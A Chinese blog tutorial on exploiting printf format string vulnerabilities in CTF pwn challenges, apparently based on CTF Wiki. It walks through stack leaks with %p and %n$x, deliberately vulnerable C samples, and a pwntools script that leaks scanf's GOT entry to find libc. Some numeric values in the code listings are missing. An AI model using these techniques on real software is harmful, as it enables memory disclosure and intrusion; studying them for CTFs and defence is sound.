本文系原创,转载请说明出处

本文为基于CTF WIKI的PWN学习

0x00 格式化字符串原理

先附一张经典的图,如下

其栈上布局如下:

some value 
3.14
123456
addr of "red"
addr of format string : " Color %s, Number %d, Float %4.2f"

如果程序写成了:

  1. printf("Color %s, Number %d, Float %4.2f");

分别将栈上的三个变量分别解析为:

  1. 解析其地址对应的字符串
  2. 解析其内容对应的整形值
  3. 解析其内容对应的浮点值

我们编写程序验证以下:

  1. #include <stdio.h>
  2. int main() {
  3.  
  4. printf("Color %s, Number %d, Float %4.2f", red”, , 3.14);
  5. printf("Color %s, Number %d, Float %4.2f");
  6. return ;
  7. }

输入以下命令编译(记得安装libc6-dev-i386库):

  1. gcc -m32 -fno-stack-protector -no-pie -o leakmemory 1.c

运行结果

gdb调试一下:

b printf后输入r运行

可以看到在第一个printf的运行中,stack的参数正如上文所说,先是格式化字符串,再是123456(的16进制),最后是3.14

继续调试至第二个printf(一直按n)

stack中我们发现,首先入栈的依旧是格式化字符串,但是上面三个参数不再是之前的那几个了。按照原理,第二次输出的应该是0xffffcfb4及之后的两个内存对应的内容。下面我们来细致讨论。

0x01 漏洞利用

利用格式化字符串漏洞,我们还可以获取我们所想要输出的内容。一般会有如下几种操作

  • 泄露栈内存

    • 获取某个变量的值 (%s)
    • 获取某个变量对应地址的内存 (%p)
  • 泄露任意地址内存
    • 利用 GOT 表得到 libc 函数地址,进而获取 libc,进而获取其它 libc 函数地址 (addr%n$s)
    • 盲打,dump 整个程序,获取有用信息。

 一、泄露内存

(1)获取栈变量数值

这里使用ctf wiki上面的例子:

  1. #include <stdio.h>
  2. int main() {
  3. char s[];
  4. int a = , b = 0x22222222, c = -;
  5. scanf("%s", s);
  6. printf("%08x.%08x.%08x.%s\n", a, b, c, s);
  7. printf(s);
  8. return ;
  9. }

编译运行调试

调试:

直接转载(copy)了:可以看出,此时此时已经进入了 printf 函数中,栈中第一个变量为返回地址,第二个变量为格式化字符串的地址,第三个变量为 a 的值,第四个变量为 b 的值,第五个变量为 c 的值,第六个变量为我们输入的格式化字符串对应的地址。继续运行程序,按c

将会把上图中0xffffcf44及其后面两个地址包含的内容输出输出:

并不是每次得到的结果都一样 ,栈上的数据会因为每次分配的内存页不同而有所不同,这是因为栈是不对内存页做初始化的。这可以从我上面的几个截图结果看出来。

(2)获取栈指定变量值

可以使用%n$x获得栈上第n+1个参数,格式化字符串是第一个参数,那么如果想获得printf的第n个参数,就需要加1.

如,我想获得第三个参数值f7e946bb,那么我就输入%3$x

(3)获取对应字符串:%s

(4)获取数据:%p

 

二、获取任意地址内存

上面的泄露并不强力,比赛中经常需要泄露某一个 libc 函数的 got 表内容,从而得到其地址,进而获取 libc 版本以及其他函数的地址,这时候,能够完全控制泄露某个指定地址的内存就显得很重要了。

这里我们再看一遍源程序代码:

  1. #include <stdio.h>
  2. int main() {
  3. char s[];
  4. int a = , b = 0x22222222, c = -;
  5. scanf("%s", s);
  6. printf("%08x.%08x.%08x.%s\n", a, b, c, s);
  7. printf(s);
  8. return ;
  9. }

scanf接收入s的值,然后两个printf。这里我们输入%s,如下调试,打印出0xff007325, 就是%s对应的字符串值,所以,输出函数的栈分布,栈上的第一个参数就是格式化字符串的地址。

这就意味着格式化字符串内容可控,同时,还需要注意的是,第一个参数虽然放置的是格式化字符串的地址,但是,输出函数并没有在这里开始调用,你也可以从上图中看到,在0xffffcf50处,又有一个%s,这里才是调用格式化字符串的时候,输出格式化字符串表达的内容时刻。这就意味着,因为格式化字符串我们可以自己控制,那么,如果我格式化字符串里面包含了%s,它会输出%s对应地址(0xff007325)所包含的内容,如果包含scanf@got, 它会输出scanf@got对应地址包含的内容,也就是scanf的真实地址。

总结:1、格式化字符串可以按照自己的意愿输入。2、格式化字符串的地址为栈上的第一个参数,顺序之后的某个位置会调用这个格式化字符串,以格式化字符串的内容输出内容。

所以,我们只要知道,调用这个格式化字符串的位置就可以了。

根据CTF WIKI上的说明方案,我们可以使用下面的字符来确定格式化字符串在哪调用:

  1. [tag]%p%p%p%p%p%p...

如果输出栈的内容与我们前面的 tag 重复了,那么我们就可以有很大把握说明该地址就是格式化字符串的地址,之所以说是有很大把握,这是因为不排除栈上有一些临时变量也是该数值(0x41414141)。如:

AAAA  0XFFD2RC30  0XC2  0XF7E596BB  0X41414141   0X702570250

我们调试看一下:

我输入的是AAAA加上8个%p

你会看到,AAAA后面依次输出8个内容,

第一个输出AAAA,这本来就是字符,作为一个标志显示出来罢了。然后往后,%p开始作用,依次是0xffffcfa0(可以看到格式化字符串为第一个参数,%p从格式字符串下一个开始),0xc2, 0xf7e946bb这些都是跟着格式化字符串后面的参数,之后,便打印出来0xffffcfa0地址对应的内容,即字符串。也就是说,其相对printf函数,为第5个参数(第五行),但是相对格式化字符串(第一行),是第四个参数。那么既然是第四个参数,我们使用%4$s看看测试一下。

然后你会发现core dump:

为啥?调试。

首先,%4$s对应的存放地址为0xffffcfa0, 我们查看内存发现存着的是0x73243425, 再看看0x73243425放着什么,啥都没有,那肯定崩溃。

我们输入%4$s是0x73243425, 我们输入%5$s是0x732434525,................

那就是说,我们确定了参数为第几个后,在tag处输入想要获得的内容的地址,那么,输出的将是输入的地址对应的内容。

然后使用CTF wiki上payload改改就可以实现获取scanf的地址:

  1. from pwn import *
  2. sh = process('./leakmemory')
  3. leakmemory = ELF('./leakmemory')
  4. __isoc99_scanf_got = leakmemory.got['__isoc99_scanf'] #获取got地址
  5. print hex(__isoc99_scanf_got)
  6. payload = p32(__isoc99_scanf_got) + '%4$s' #想要输出的地址加上确定好的参数位置
  7. print payload
  8. sh.sendline(payload)
  9. sh.recvuntil('%4$s\n')
  10. print hex(u32(sh.recv()[4:8])) # 去掉 __isoc99_scanf@got的地址
  11. sh.interactive()

格式化字符串漏洞 format string exploit(一)的更多相关文章

  1. [二进制漏洞]PWN学习之格式化字符串漏洞 Linux篇

    目录 [二进制漏洞]PWN学习之格式化字符串漏洞 Linux篇 格式化输出函数 printf函数族功能介绍 printf参数 type(类型) flags(标志) number(宽度) precisi ...

  2. 格式化字符串漏洞利用实战之 njctf-decoder

    前言 格式化字符串漏洞也是一种比较常见的漏洞利用技术.ctf 中也经常出现. 本文以 njctf 线下赛的一道题为例进行实战. 题目链接:https://gitee.com/hac425/blog_d ...

  3. Linux下的格式化字符串漏洞利用姿势

    linux最早的漏洞防护机制nx-stack刚刚出现后就有人想出了突破方法.那就是只有栈是不可执行,而除了栈以外的其他地方还是可以执行的,只要把返回地址执行别的地方就可以. 一.格式化字符串漏洞 格式 ...

  4. PWN学习之格式化字符串漏洞

    目录 PWN学习之格式化字符串漏洞 格式化输出函数 格式化字符串漏洞 漏洞利用 使程序崩溃 栈数据泄露 任意地址内存泄漏 栈数据覆盖 任意地址内存覆盖 PWN学习之格式化字符串漏洞 格式化输出函数 可 ...

  5. Linux pwn入门教程(6)——格式化字符串漏洞

    作者:Tangerine@SAINTSEC 0x00 printf函数中的漏洞 printf函数族是一个在C编程中比较常用的函数族.通常来说,我们会使用printf([格式化字符串],参数)的形式来进 ...

  6. Linux pwn入门教程——格式化字符串漏洞

    本文作者:Tangerine@SAINTSEC 原文来自:https://bbs.ichunqiu.com/thread-42943-1-1.html 0×00 printf函数中的漏洞printf函 ...

  7. 格式化字符串漏洞利用实战之 0ctf-easyprintf

    前言 这是 0ctf 的一道比较简单的格式化串的题目. 正文 逻辑非常简单 do_read 可以打印内存地址的数据,可用来 泄露 got. leave 格式化字符串漏洞. printf(s) 直接调用 ...

  8. 通过格式化字符串漏洞绕过canary

    1.1    canary内存保护机制 1.1.1    canary工作原理 canary保护机制类似于/GS保护机制,是Linux下gcc编译器的安全保护机制之一,在栈中的结构如下图所示: 在函数 ...

  9. [典型漏洞分享]YS VTM模块存在格式化字符串漏洞,可导致VTM进程异常退出【高危】

    YS VTM模块存在格式化字符串漏洞,可导致VTM进程异常退出[高危] 问题描述: YS VTM模块开放对外监听端口(8554和8664),此次使用sulley fuzzing框架对监听在8664端口 ...

随机推荐

  1. python容器类型元组的操作

    元组:使用小括号进行表示一组元素,其元素与元素之间使用逗号隔开:注意:元组的的值是不可修改的: 1.元组值得增加:元组是不可以直接增加值的,但是可以通过+进行拼接 # 声明一个元组: tuple1 = ...

  2. 【Oracle】Oracle数据库基本指标查看

    目录 1.查看表空间 2.查看用户 3.查看数据库内存 4.查看数据库版本 5.oracle归档情况 6.查看redo log日志位置 7.查看数据库的控制文件 8.查看RMAN的备份情况 9.FRA ...

  3. canvas入门,就是这个feel!

    钙素 Canvas 是在HTML5中新增的标签用于在网页实时生成图像,并且可以操作图像内容,基本上它是一个可以用JavaScript操作的位图.也就是说我们将通过JS完成画图而不是css. canva ...

  4. 扛把子组20191107-8 beta week 2/2 Scrum立会报告+燃尽图 07

    此作业的要求参见https://edu.cnblogs.com/campus/nenu/2019fall/homework/9960 一.小组情况 队名:扛把子 组长:孙晓宇 组员:宋晓丽 梁梦瑶 韩 ...

  5. python3 之 内置函数range()

    一.语法: range(stop) range(start,stop,step) start:计数从start开始,默认是从0开始.eg:range(5)等价于range(0,5) stop:计数到s ...

  6. Win10如何快速截屏

    Win10不用QQ,如何快速截屏? 年轻的时候想截图总是需要把QQ打开,但是直到我遇到了一种尴尬的场景:就是需要我把鼠标放着标签上,才会有下一步内容出现,这就很难搞. 经过查找资料,做出一些总结. 第 ...

  7. C#-面向对象:争议TDD(测试驱动开发)

    ----------------------- 绝对原创!版权所有,转发需经过作者同意. ----------------------- 在谈到特性的使用场景时,还有一个绝对离不开的就是 单元测试 按 ...

  8. C语言I博客作业11

    这个作业属于那个课程 C语言程序设计II 这个作业要求在哪里 https://edu.cnblogs.com/campus/zswxy/CST2019-1/homework/10132 我在这个课程的 ...

  9. Prometheus PromQL 简单用法

    目录 说明 CPU 内存 磁盘监控 磁盘空间利用率百分比 预计饱和 说明 基于上一篇文章的基础,这里做一些关于 CPU.内存.磁盘的一些基础查询语句. CPU 通过查询 metric值为 node_c ...

  10. xmlhttp.readyState的值及解释

    xmlhttp.readyState的值及解释: 0:请求未初始化(还没有调用 open()). 1:请求已经建立,但是还没有发送(还没有调用 send()). 2:请求已发送,正在处理中(通常现在可 ...